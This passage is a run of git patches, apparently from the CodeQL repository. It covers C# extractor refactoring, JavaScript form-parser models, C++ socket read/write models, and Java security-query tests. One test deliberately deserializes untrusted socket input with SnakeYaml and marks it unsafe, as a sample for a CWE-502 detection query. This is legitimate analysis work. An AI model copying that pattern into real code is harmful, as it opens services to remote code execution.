this.Create(entity.ReportingLocation) is NonGeneratedSourceLocation loc + var a = duplicationGuard && CreateLocation(entity.ReportingLocation) is NonGeneratedSourceLocation loc ? (Action)(() => WithDuplicationGuard(new Key(entity, loc), () => entity.Populate(TrapWriter.Writer))) : (Action)(() => this.Try(null, optionalSymbol, () => entity.Populate(TrapWriter.Writer))); @@ -436,15 +436,15 @@ namespace Semmle.Extraction { if (!(optionalSymbol is null)) { - ExtractionError(message, optionalSymbol.ToDisplayString(), Entities.Location.Create(this, optionalSymbol.Locations.FirstOrDefault())); + ExtractionError(message, optionalSymbol.ToDisplayString(), CreateLocation(optionalSymbol.Locations.FirstOrDefault())); } else if (!(optionalEntity is null)) { - ExtractionError(message, optionalEntity.Label.ToString(), Entities.Location.Create(this, optionalEntity.ReportingLocation)); + ExtractionError(message, optionalEntity.Label.ToString(), CreateLocation(optionalEntity.ReportingLocation)); } else { - ExtractionError(message, null, Entities.Location.Create(this)); + ExtractionError(message, null, CreateLocation()); } } @@ -517,11 +517,11 @@ namespace Semmle.Extraction } else if (ex is InternalError ie) { - message = new Message(ie.Text, ie.EntityText, Entities.Location.Create(this, ie.Location), ex.StackTrace); + message = new Message(ie.Text, ie.EntityText, CreateLocation(ie.Location), ex.StackTrace); } else { - message = new Message($"Uncaught exception. {ex.Message}", null, Entities.Location.Create(this), ex.StackTrace); + message = new Message($"Uncaught exception. {ex.Message}", null, CreateLocation(), ex.StackTrace); } ExtractionError(message); @@ -536,5 +536,21 @@ namespace Semmle.Extraction { TrapWriter.Emit(tuple); } + + public Entities.Location CreateLocation() + { + return SourceTree == null + ? GeneratedLocation.Create(this) + : CreateLocation(Microsoft.CodeAnalysis.Location.Create(SourceTree, Microsoft.CodeAnalysis.Text.TextSpan.FromBounds(0, 0))); + } + + public Entities.Location CreateLocation(Microsoft.CodeAnalysis.Location? location) + { + return (location == null || location.Kind == LocationKind.None) + ? GeneratedLocation.Create(this) + : location.IsInSource + ? NonGeneratedSourceLocation.Create(this, location) + : Assembly.Create(this, location); + } } } diff --git a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs index df3a5757618..e8b1e2cb46b 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs @@ -48,7 +48,7 @@ namespace Semmle.Extraction.Entities return false; } - public static new Location Create(Context cx, Microsoft.CodeAnalysis.Location loc) => AssemblyConstructorFactory.Instance.CreateEntity(cx, loc, loc); + public static Location Create(Context cx, Microsoft.CodeAnalysis.Location loc) => AssemblyConstructorFactory.Instance.CreateEntity(cx, loc, loc); private class AssemblyConstructorFactory : ICachedEntityFactory { diff --git a/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs b/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs index 3df0ce3bb61..96aabb57f8e 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs @@ -15,7 +15,7 @@ namespace Semmle.Extraction.Entities protected override void Populate(TextWriter trapFile) { trapFile.extractor_messages(this, msg.Severity, "C# extractor", msg.Text, msg.EntityText ?? string.Empty, - msg.Location ?? Location.Create(cx), msg.StackTrace ?? string.Empty); + msg.Location ?? cx.CreateLocation(), msg.StackTrace ?? string.Empty); } public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.NoLabel; diff --git a/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs b/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs index 31b5f55b0e6..6d05263aecd 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs @@ -28,7 +28,7 @@ namespace Semmle.Extraction.Entities public override bool Equals(object? obj) => obj != null && obj.GetType() == typeof(GeneratedLocation); - public static new GeneratedLocation Create(Context cx) => GeneratedLocationFactory.Instance.CreateEntity(cx, typeof(GeneratedLocation), null); + public static GeneratedLocation Create(Context cx) => GeneratedLocationFactory.Instance.CreateEntity(cx, typeof(GeneratedLocation), null); private class GeneratedLocationFactory : ICachedEntityFactory { diff --git a/csharp/extractor/Semmle.Extraction/Entities/Location.cs b/csharp/extractor/Semmle.Extraction/Entities/Location.cs index b25436e9a41..cdd3c9a50dc 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Location.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Location.cs @@ -8,34 +8,8 @@ namespace Semmle.Extraction.Entities protected Location(Context cx, Microsoft.CodeAnalysis.Location? init) : base(cx, init) { } - public static Location Create(Context cx, Microsoft.CodeAnalysis.Location? loc) => - (loc == null || loc.Kind == Microsoft.CodeAnalysis.LocationKind.None) - ? GeneratedLocation.Create(cx) - : loc.IsInSource - ? NonGeneratedSourceLocation.Create(cx, loc) - : Assembly.Create(cx, loc); - - public static Location Create(Context cx) - { - return cx.SourceTree == null - ? GeneratedLocation.Create(cx) - : Create(cx, Microsoft.CodeAnalysis.Location.Create(cx.SourceTree, TextSpan.FromBounds(0, 0))); - } - public override Microsoft.CodeAnalysis.Location? ReportingLocation => symbol; public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.OptionalLabel; } - - public static class LocationExtensions - { - /// - /// Creates a Location entity. - /// - /// The extraction context. - /// The CodeAnalysis location. - /// The Location entity. - public static Location Create(this Context cx, Microsoft.CodeAnalysis.Location? location) => - Location.Create(cx, location); - } } diff --git a/csharp/extractor/Semmle.Extraction/Entities/SourceLocation.cs b/csharp/extractor/Semmle.Extraction/Entities/SourceLocation.cs index e7bc4e3ea44..ae69f95449a 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/SourceLocation.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/SourceLocation.cs @@ -22,7 +22,7 @@ namespace Semmle.Extraction.Entities FileEntity = File.Create(Context, Position.Path); } - public static new Location Create(Context cx, Microsoft.CodeAnalysis.Location loc) => SourceLocationFactory.Instance.CreateEntity(cx, loc, loc); + public static Location Create(Context cx, Microsoft.CodeAnalysis.Location loc) => SourceLocationFactory.Instance.CreateEntity(cx, loc, loc); public override void Populate(TextWriter trapFile) { diff --git a/csharp/extractor/Semmle.Extraction/Message.cs b/csharp/extractor/Semmle.Extraction/Message.cs index 0a2a62e13a2..a100a69a285 100644 --- a/csharp/extractor/Semmle.Extraction/Message.cs +++ b/csharp/extractor/Semmle.Extraction/Message.cs @@ -28,12 +28,12 @@ namespace Semmle.Extraction public static Message Create(Context cx, string text, ISymbol symbol, string? stackTrace = null, Severity severity = Severity.Error) { - return new Message(text, symbol.ToString(), Entities.Location.Create(cx, symbol.Locations.FirstOrDefault()), stackTrace, severity); + return new Message(text, symbol.ToString(), cx.CreateLocation(symbol.Locations.FirstOrDefault()), stackTrace, severity); } public static Message Create(Context cx, string text, SyntaxNode node, string? stackTrace = null, Severity severity = Severity.Error) { - return new Message(text, node.ToString(), Entities.Location.Create(cx, node.GetLocation()), stackTrace, severity); + return new Message(text, node.ToString(), cx.CreateLocation(node.GetLocation()), stackTrace, severity); } public override string ToString() => Text; From 6cc858b9ef5aeaff8b7cb991af0f24895255daa1 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 15 Feb 2021 09:19:18 +0100 Subject: [PATCH 1193/1241] Move AstLineCounter to top level class --- .../Entities/Method.AstLineCounter.cs | 51 ------------------- .../Entities/Method.cs | 2 +- .../Populators/AstLineCounter.cs | 48 +++++++++++++++++ 3 files changed, 49 insertions(+), 52 deletions(-) delete mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Populators/AstLineCounter.cs diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs deleted file mode 100644 index d567b6f6b56..00000000000 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.AstLineCounter.cs +++ /dev/null @@ -1,51 +0,0 @@ -using Microsoft.CodeAnalysis; -using Microsoft.CodeAnalysis.CSharp; -using Microsoft.CodeAnalysis.CSharp.Syntax; -using Semmle.Util; -using System.IO; - -namespace Semmle.Extraction.CSharp.Entities -{ - public abstract partial class Method - { - private class AstLineCounter : CSharpSyntaxVisitor - { - public override LineCounts DefaultVisit(SyntaxNode node) - { - var text = node.SyntaxTree.GetText().GetSubText(node.GetLocation().SourceSpan).ToString(); - return LineCounter.ComputeLineCounts(text); - } - - public override LineCounts VisitMethodDeclaration(MethodDeclarationSyntax method) - { - return Visit(method.Identifier, method.Body ?? (SyntaxNode)method.ExpressionBody); - } - - public static LineCounts Visit(SyntaxToken identifier, SyntaxNode body) - { - var start = identifier.GetLocation().SourceSpan.Start; - var end = body.GetLocation().SourceSpan.End - 1; - - var textSpan = new Microsoft.CodeAnalysis.Text.TextSpan(start, end - start); - - var text = body.SyntaxTree.GetText().GetSubText(textSpan) + "\r\n"; - return LineCounter.ComputeLineCounts(text); - } - - public override LineCounts VisitConstructorDeclaration(ConstructorDeclarationSyntax method) - { - return Visit(method.Identifier, (SyntaxNode)method.Body ?? method.ExpressionBody); - } - - public override LineCounts VisitDestructorDeclaration(DestructorDeclarationSyntax method) - { - return Visit(method.Identifier, (SyntaxNode)method.Body ?? method.ExpressionBody); - } - - public override LineCounts VisitOperatorDeclaration(OperatorDeclarationSyntax node) - { - return Visit(node.OperatorToken, node.Body ?? (SyntaxNode)node.ExpressionBody); - } - } - } -} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs index f036e373217..00bf8f3638e 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs @@ -8,7 +8,7 @@ using System.Linq; namespace Semmle.Extraction.CSharp.Entities { - public abstract partial class Method : CachedSymbol, IExpressionParentEntity, IStatementParentEntity + public abstract class Method : CachedSymbol, IExpressionParentEntity, IStatementParentEntity { protected Method(Context cx, IMethodSymbol init) : base(cx, init) { } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/AstLineCounter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/AstLineCounter.cs new file mode 100644 index 00000000000..a185675ee27 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/AstLineCounter.cs @@ -0,0 +1,48 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Util; + +namespace Semmle.Extraction.CSharp.Populators +{ + internal class AstLineCounter : CSharpSyntaxVisitor + { + public override LineCounts DefaultVisit(SyntaxNode node) + { + var text = node.SyntaxTree.GetText().GetSubText(node.GetLocation().SourceSpan).ToString(); + return LineCounter.ComputeLineCounts(text); + } + + public override LineCounts VisitMethodDeclaration(MethodDeclarationSyntax method) + { + return Visit(method.Identifier, method.Body ?? (SyntaxNode)method.ExpressionBody); + } + + public static LineCounts Visit(SyntaxToken identifier, SyntaxNode body) + { + var start = identifier.GetLocation().SourceSpan.Start; + var end = body.GetLocation().SourceSpan.End - 1; + + var textSpan = new Microsoft.CodeAnalysis.Text.TextSpan(start, end - start); + + var text = body.SyntaxTree.GetText().GetSubText(textSpan) + "\r\n"; + return LineCounter.ComputeLineCounts(text); + } + + public override LineCounts VisitConstructorDeclaration(ConstructorDeclarationSyntax method) + { + return Visit(method.Identifier, (SyntaxNode)method.Body ?? method.ExpressionBody); + } + + public override LineCounts VisitDestructorDeclaration(DestructorDeclarationSyntax method) + { + return Visit(method.Identifier, (SyntaxNode)method.Body ?? method.ExpressionBody); + } + + public override LineCounts VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + return Visit(node.OperatorToken, node.Body ?? (SyntaxNode)node.ExpressionBody); + } + } + +} From 2de7fbe062e9371ef18262d167634fa2f29a44ff Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 15 Feb 2021 10:18:12 +0100 Subject: [PATCH 1194/1241] Fix build after rebase --- .../Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs index 4e4cce00926..e7bb987574e 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs @@ -45,7 +45,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements if (info.Equals(default)) { - cx.ExtractionError("Could not get foreach statement info", null, Location.Create(cx, this.ReportingLocation), severity: Util.Logging.Severity.Info); + cx.ExtractionError("Could not get foreach statement info", null, cx.CreateLocation(this.ReportingLocation), severity: Util.Logging.Severity.Info); return; } From c7072aef16559cbd1a366bb350b6f03553949742 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 15 Feb 2021 10:34:20 +0100 Subject: [PATCH 1195/1241] update A.java test --- java/ql/test/query-tests/security/CWE-502/A.java | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/java/ql/test/query-tests/security/CWE-502/A.java b/java/ql/test/query-tests/security/CWE-502/A.java index 3b3de5f8ed2..d0a074d5900 100644 --- a/java/ql/test/query-tests/security/CWE-502/A.java +++ b/java/ql/test/query-tests/security/CWE-502/A.java @@ -88,10 +88,10 @@ public class A { public void deserializeSnakeYaml4(Socket sock) { Yaml yaml = new Yaml(new Constructor(A.class)); InputStream input = sock.getInputStream(); - Object o = yaml.load(input); //OK - Object o2 = yaml.loadAll(input); //OK - Object o3 = yaml.parse(new InputStreamReader(input)); //OK - A o4 = yaml.loadAs(input, A.class); //OK - A o5 = yaml.loadAs(new InputStreamReader(input), A.class); //OK + Object o = yaml.load(input); //unsafe + Object o2 = yaml.loadAll(input); //unsafe + Object o3 = yaml.parse(new InputStreamReader(input)); //unsafe + A o4 = yaml.loadAs(input, A.class); //unsafe + A o5 = yaml.loadAs(new InputStreamReader(input), A.class); //unsafe } } From 504d119749143302ff45e6583928a8aad82ae489 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 15 Feb 2021 10:58:17 +0100 Subject: [PATCH 1196/1241] adjust max parameter number --- java/ql/src/semmle/code/java/frameworks/apache/Lang.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll index c9af49464e0..2e124235bb7 100644 --- a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll +++ b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll @@ -45,7 +45,7 @@ private class ApacheLangArrayUtilsTaintPreservingMethod extends TaintPreservingC override predicate returnsTaintFrom(int src) { this.hasName(["addAll", "addFirst"]) and - src = [0 .. getNumberOfParameters()] + src = [0 .. getNumberOfParameters() - 1] or this.hasName([ "clone", "nullToEmpty", "remove", "removeAll", "removeElement", "removeElements", "reverse", From 00a0b12dad114993342306163e0f1d98fc6a82f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 15 Feb 2021 11:23:40 +0100 Subject: [PATCH 1197/1241] update expected results --- .../CWE-502/UnsafeDeserialization.expected | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/java/ql/test/query-tests/security/CWE-502/UnsafeDeserialization.expected b/java/ql/test/query-tests/security/CWE-502/UnsafeDeserialization.expected index 672a692c03f..f575a093d6e 100644 --- a/java/ql/test/query-tests/security/CWE-502/UnsafeDeserialization.expected +++ b/java/ql/test/query-tests/security/CWE-502/UnsafeDeserialization.expected @@ -16,6 +16,11 @@ edges | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:73:28:73:55 | new InputStreamReader(...) | | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:74:24:74:28 | input | | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:75:24:75:51 | new InputStreamReader(...) | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:91:26:91:30 | input | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:92:30:92:34 | input | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:93:28:93:55 | new InputStreamReader(...) | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:94:24:94:28 | input | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:95:24:95:51 | new InputStreamReader(...) | | B.java:7:31:7:51 | getInputStream(...) : InputStream | B.java:8:29:8:39 | inputStream | | B.java:12:31:12:51 | getInputStream(...) : InputStream | B.java:15:23:15:27 | bytes | | B.java:19:31:19:51 | getInputStream(...) : InputStream | B.java:23:29:23:29 | s | @@ -46,6 +51,12 @@ nodes | A.java:73:28:73:55 | new InputStreamReader(...) | semmle.label | new InputStreamReader(...) | | A.java:74:24:74:28 | input | semmle.label | input | | A.java:75:24:75:51 | new InputStreamReader(...) | semmle.label | new InputStreamReader(...) | +| A.java:90:25:90:45 | getInputStream(...) : InputStream | semmle.label | getInputStream(...) : InputStream | +| A.java:91:26:91:30 | input | semmle.label | input | +| A.java:92:30:92:34 | input | semmle.label | input | +| A.java:93:28:93:55 | new InputStreamReader(...) | semmle.label | new InputStreamReader(...) | +| A.java:94:24:94:28 | input | semmle.label | input | +| A.java:95:24:95:51 | new InputStreamReader(...) | semmle.label | new InputStreamReader(...) | | B.java:7:31:7:51 | getInputStream(...) : InputStream | semmle.label | getInputStream(...) : InputStream | | B.java:8:29:8:39 | inputStream | semmle.label | inputStream | | B.java:12:31:12:51 | getInputStream(...) : InputStream | semmle.label | getInputStream(...) : InputStream | @@ -74,6 +85,11 @@ nodes | A.java:73:17:73:56 | parse(...) | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:73:28:73:55 | new InputStreamReader(...) | Unsafe deserialization of $@. | A.java:70:25:70:45 | getInputStream(...) | user input | | A.java:74:12:74:38 | loadAs(...) | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:74:24:74:28 | input | Unsafe deserialization of $@. | A.java:70:25:70:45 | getInputStream(...) | user input | | A.java:75:12:75:61 | loadAs(...) | A.java:70:25:70:45 | getInputStream(...) : InputStream | A.java:75:24:75:51 | new InputStreamReader(...) | Unsafe deserialization of $@. | A.java:70:25:70:45 | getInputStream(...) | user input | +| A.java:91:16:91:31 | load(...) | A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:91:26:91:30 | input | Unsafe deserialization of $@. | A.java:90:25:90:45 | getInputStream(...) | user input | +| A.java:92:17:92:35 | loadAll(...) | A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:92:30:92:34 | input | Unsafe deserialization of $@. | A.java:90:25:90:45 | getInputStream(...) | user input | +| A.java:93:17:93:56 | parse(...) | A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:93:28:93:55 | new InputStreamReader(...) | Unsafe deserialization of $@. | A.java:90:25:90:45 | getInputStream(...) | user input | +| A.java:94:12:94:38 | loadAs(...) | A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:94:24:94:28 | input | Unsafe deserialization of $@. | A.java:90:25:90:45 | getInputStream(...) | user input | +| A.java:95:12:95:61 | loadAs(...) | A.java:90:25:90:45 | getInputStream(...) : InputStream | A.java:95:24:95:51 | new InputStreamReader(...) | Unsafe deserialization of $@. | A.java:90:25:90:45 | getInputStream(...) | user input | | B.java:8:12:8:46 | parseObject(...) | B.java:7:31:7:51 | getInputStream(...) : InputStream | B.java:8:29:8:39 | inputStream | Unsafe deserialization of $@. | B.java:7:31:7:51 | getInputStream(...) | user input | | B.java:15:12:15:28 | parse(...) | B.java:12:31:12:51 | getInputStream(...) : InputStream | B.java:15:23:15:27 | bytes | Unsafe deserialization of $@. | B.java:12:31:12:51 | getInputStream(...) | user input | | B.java:23:12:23:30 | parseObject(...) | B.java:19:31:19:51 | getInputStream(...) : InputStream | B.java:23:29:23:29 | s | Unsafe deserialization of $@. | B.java:19:31:19:51 | getInputStream(...) | user input | From f79b3144e3478a3d65cbf548b7a0d9446dfdd2bd Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 11:31:31 +0100 Subject: [PATCH 1198/1241] C++: Refactor IdentityFunction.qll. --- .../code/cpp/models/implementations/IdentityFunction.qll | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll index bd188cffe49..60afd2b25ef 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/IdentityFunction.qll @@ -6,12 +6,9 @@ import semmle.code.cpp.models.interfaces.SideEffect /** * The standard function templates `std::move` and `std::forward`. */ -private class IdentityFunction extends DataFlowFunction, SideEffectFunction, AliasFunction { - IdentityFunction() { - this.getNamespace().getParentNamespace() instanceof GlobalNamespace and - this.getNamespace().getName() = "std" and - this.getName() = ["move", "forward"] - } +private class IdentityFunction extends DataFlowFunction, SideEffectFunction, AliasFunction, + FunctionTemplateInstantiation { + IdentityFunction() { this.hasQualifiedName("std", ["move", "forward"]) } override predicate hasOnlySpecificReadSideEffects() { any() } From e5db0ef16bbd4f128af86e2e7ab5d726abb3489c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 15 Feb 2021 11:58:26 +0100 Subject: [PATCH 1199/1241] remove the `RequestExpr` requirement from `FormParsers.qll`, and use API graphs. --- .../javascript/frameworks/FormParsers.qll | 78 +++++++------------ 1 file changed, 28 insertions(+), 50 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll index e8f9b76a40e..73e00a8e96f 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll @@ -5,28 +5,20 @@ import javascript /** - * Classes and predicate modelling the `Busboy` library. + * A source of remote flow from the `Busboy` library. */ -private module Busboy { - /** - * A `Busboy` instance that has request data flowing into it. - */ - private DataFlow::NewNode busboy() { - result = DataFlow::moduleImport("busboy").getAnInstantiation() and - exists(MethodCallExpr pipe | - pipe.calls(any(HTTP::RequestExpr req), "pipe") and - result.flowsToExpr(pipe.getArgument(0)) - ) +private class BusBoyRemoteFlow extends RemoteFlowSource { + BusBoyRemoteFlow() { + this = + API::moduleImport("busboy") + .getInstance() + .getMember("on") + .getParameter(1) + .getAParameter() + .getAnImmediateUse() } - /** - * A source of remote flow from the `Busboy` library. - */ - class BusBoyRemoteFlow extends RemoteFlowSource { - BusBoyRemoteFlow() { this = busboy().getAMemberCall("on").getABoundCallbackParameter(1, _) } - - override string getSourceType() { result = "parsed user value from Busbuy" } - } + override string getSourceType() { result = "parsed user value from Busbuy" } } /** @@ -34,17 +26,16 @@ private module Busboy { */ private class FormidableRemoteFlow extends RemoteFlowSource { FormidableRemoteFlow() { - exists(DataFlow::CallNode parse, DataFlow::InvokeNode formidable | - formidable = DataFlow::moduleImport("formidable").getACall() + exists(API::Node formidable | + formidable = API::moduleImport("formidable").getReturn() or - formidable = DataFlow::moduleMember("formidable", "formidable").getACall() + formidable = API::moduleImport("formidable").getMember("formidable").getReturn() or formidable = - DataFlow::moduleMember("formidable", ["IncomingForm", "Formidable"]).getAnInstantiation() + API::moduleImport("formidable").getMember(["IncomingForm", "Formidable"]).getInstance() | - parse = formidable.getAMemberCall("parse") and - parse.getArgument(0).asExpr() instanceof HTTP::RequestExpr and - this = parse.getABoundCallbackParameter(1, any(int i | i > 0)) + this = + formidable.getMember("parse").getACall().getABoundCallbackParameter(1, any(int i | i > 0)) ) } @@ -52,34 +43,21 @@ private class FormidableRemoteFlow extends RemoteFlowSource { } /** - * Predicates and classes modelling the `multiparty` library. + * A source of remote flow from the `Multiparty` library. */ -private module Multiparty { - /** - * Gets an instance of of `Multiparty` form parser that parses a HTTP request object. - * The `parse` call is the method call that receives the HTTP request object. - */ - private DataFlow::SourceNode form(DataFlow::MethodCallNode parse) { - result = DataFlow::moduleMember("multiparty", "Form").getAnInstantiation() and - parse = result.getAMethodCall("parse") and - parse.getArgument(0).asExpr() instanceof HTTP::RequestExpr - } - - /** - * A source of remote flow from the `Multiparty` library. - */ - class MultipartyRemoteFlow extends RemoteFlowSource { - MultipartyRemoteFlow() { - exists(DataFlow::MethodCallNode parse | exists(form(parse)) | - this = parse.getABoundCallbackParameter(1, any(int i | i > 0)) +private class MultipartyRemoteFlow extends RemoteFlowSource { + MultipartyRemoteFlow() { + exists(API::Node form | form = API::moduleImport("multiparty").getMember("Form").getInstance() | + exists(API::CallNode parse | parse = form.getMember("parse").getACall() | + this = parse.getParameter(1).getAParameter().getAnImmediateUse() ) or - exists(DataFlow::MethodCallNode on | on = form(_).getAMethodCall("on") | + exists(API::CallNode on | on = form.getMember("on").getACall() | on.getArgument(0).mayHaveStringValue(["part", "file", "field"]) and - this = on.getABoundCallbackParameter(1, _) + this = on.getParameter(1).getAParameter().getAnImmediateUse() ) - } - - override string getSourceType() { result = "parsed user value from Multiparty" } + ) } + + override string getSourceType() { result = "parsed user value from Multiparty" } } From 0f9b044814edf7fe30fafe7044755466e354d92b Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Mon, 15 Feb 2021 12:04:51 +0100 Subject: [PATCH 1200/1241] C++: Model vector versions of BSD-style reads and writes. --- .../code/cpp/models/implementations/Recv.qll | 5 +++- .../code/cpp/models/implementations/Send.qll | 5 +++- .../defaulttainttracking.cpp | 28 +++++++++++++++++-- 3 files changed, 34 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll index ef919c9eb39..691ba528f42 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Recv.qll @@ -18,7 +18,10 @@ private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, "recvfrom", // recvfrom(socket, dest, len, flags, from, fromlen) "recvmsg", // recvmsg(socket, msg, flags) "read", // read(socket, dest, len) - "pread" // pread(socket, dest, len, offset) + "pread", // pread(socket, dest, len, offset) + "readv", // readv(socket, dest, len) + "preadv", // readv(socket, dest, len, offset) + "preadv2" // readv2(socket, dest, len, offset, flags) ]) } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll index 2a6cd0bac51..6086bc7748f 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll @@ -16,7 +16,10 @@ private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, Rem "send", // send(socket, buf, len, flags) "sendto", // sendto(socket, buf, len, flags, to, tolen) "sendmsg", // sendmsg(socket, msg, flags) - "write" // write(socket, buf, len); + "write", // write(socket, buf, len) + "writev", // writev(socket, buf, len) + "pwritev", // pwritev(socket, buf, len, offset) + "pwritev2" // pwritev2(socket, buf, len, offset, flags) ]) } diff --git a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp index 6156e80015c..020a2f90b9e 100644 --- a/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp +++ b/cpp/ql/test/library-tests/dataflow/DefaultTaintTracking/annotate_sinks_only/defaulttainttracking.cpp @@ -228,10 +228,34 @@ void test_recv() { sink(*buffer); // $ ast,ir } -// --- send --- +// --- send and related functions --- int send(int, const void*, int, int); void test_send(char* buffer, int length) { send(0, buffer, length, 0); // $ remote -} \ No newline at end of file +} + +struct iovec { + void *iov_base; + unsigned iov_len; +}; + +int readv(int, const struct iovec*, int); +int writev(int, const struct iovec*, int); + +void sink(const iovec* iovs); +void sink(iovec); + +int test_readv_and_writev(iovec* iovs) { + readv(0, iovs, 16); + sink(iovs); // $ast,ir + sink(iovs[0]); // $ast MISSING: ir + sink(*iovs); // $ast MISSING: ir + + char* p = (char*)iovs[1].iov_base; + sink(p); // $ MISSING: ast,ir + sink(*p); // $ MISSING: ast,ir + + writev(0, iovs, 16); // $ remote +} From a9071a62a0c77f1e046f144073ae361c4f5748d4 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 12:15:17 +0100 Subject: [PATCH 1201/1241] C++: Refactor Memcpy.qll and include bsl model. --- cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll index 02fa810142f..25229279db1 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll 